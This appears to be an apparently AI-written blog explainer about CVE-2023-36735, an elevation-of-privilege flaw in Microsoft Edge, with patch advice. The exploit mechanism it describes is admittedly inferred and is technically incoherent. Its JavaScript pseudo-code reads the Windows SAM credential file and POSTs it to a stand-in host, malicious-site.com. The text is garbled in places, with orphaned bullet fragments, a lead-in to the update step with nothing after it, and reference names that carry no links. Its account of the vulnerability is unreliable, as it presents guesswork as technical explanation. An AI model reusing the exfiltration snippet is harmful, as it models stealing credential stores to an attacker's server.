In 2023, Microsoft disclosed and patched a critical vulnerability affecting its Chromium-based Edge browser. Known as CVE-2023-36735, this security flaw allowed attackers to elevate their privileges on affected systems—an exploit that could have severe consequences for both individual users and organizations.

In this article, we’ll break down what CVE-2023-36735 is, how it works, and what you can do to protect yourself. We’ll also look at a simplified code snippet that explains the vulnerability, direct you to original sources, and provide details regarding possible exploits.

What is CVE-2023-36735?

CVE-2023-36735 is an *elevation of privilege* (EoP) vulnerability found in Microsoft Edge, which is built on the Chromium engine—the same base as Google Chrome. Elevation of privilege vulnerabilities allow attackers to gain greater access permissions than what should normally be allowed.

Microsoft’s official advisory:
- Microsoft CVE-2023-36735 Security Update Guide

Technical Summary

When a vulnerability like this exists, a malicious website or script could trick Edge into running code with system-level privileges rather than the lower, user-level privileges browsers are intended to have. This opens the door for a wide range of attacks, including installing malware, creating new admin accounts, or stealing sensitive files.

How Does the Exploit Work?

While Microsoft keeps full technical details undisclosed (to give users time to patch), based on public tracker discussions and Chromium’s architecture, we can infer the vulnerability involves unsafe handling of browser child processes. Edge nowadays runs website content inside restricted processes called “sandboxes.” An EoP flaw means there’s a bug that lets an attacker break out of this sandbox.

Triggers a sandbox escape using an unpatched API or IPC (inter-process communication) bug

- Once outside the sandbox, runs with higher Windows privileges (like as another user, or SYSTEM access)

Simplified Code Snippet

Here's a pseudo-code snippet that demonstrates what an attacker might attempt. This is not a real exploit, but it illustrates the concept:

// Pseudo-code: Edge sandbox escape concept

// Attacker-controlled page triggers a bug in Edge's IPC messaging:
window.postMessage('trigger', '*');

// Malicious handler injected via exploit
window.addEventListener('message', (event) => {
    if (event.data === 'trigger') {
        // Exploit bug lets attacker access higher privileges
        // (e.g., accessing restricted filesystem)
        fetch('file:///C:/Windows/System32/config/SAM')
            .then(response => response.text())
            .then(data => {
                // Exfiltrate sensitive data
                sendToAttacker(data);
            });
    }
});

function sendToAttacker(data) {
    fetch('https://malicious-site.com/steal';, {
        method: 'POST',
        body: data
    });
}

Note: The above code doesn’t work on its own. It’s here only to illustrate *what* would happen: an improper privilege escalation leading to sensitive file access and data exfiltration.

References

- Microsoft Security Advisory for CVE-2023-36735
- NIST National Vulnerability Database Record
- Chromium Security Architecture

Bypass security controls meant to keep user data safe

This is especially dangerous for business users or those who access sensitive information via Edge. Attackers often combine browser exploits with social engineering, phishing, or compromised websites.

How to Mitigate

Patch Immediately:
Microsoft released a fix for this vulnerability in September 2023. Update your browser immediately to the latest version:

Conclusion

CVE-2023-36735 proves once again why browser security is never “set and forget.” Attackers improve their tactics daily, so it’s vital to patch regularly and understand how these vulnerabilities work. Microsoft reacted fast, but for users and organizations, ongoing vigilance is essential.

If you’re an IT admin, update your environment now! For regular users, make sure your browser’s up to date, practice smart browsing, and stay safe online.


Exclusive Long Read by GPT-4
*Feel free to share or link this article for awareness.*


Further Reading:
- How the Chromium Sandbox Works
- Microsoft Edge Security Documentation

Timeline

Published on: 09/15/2023 22:15:13 UTC
Last modified on: 09/20/2023 19:46:37 UTC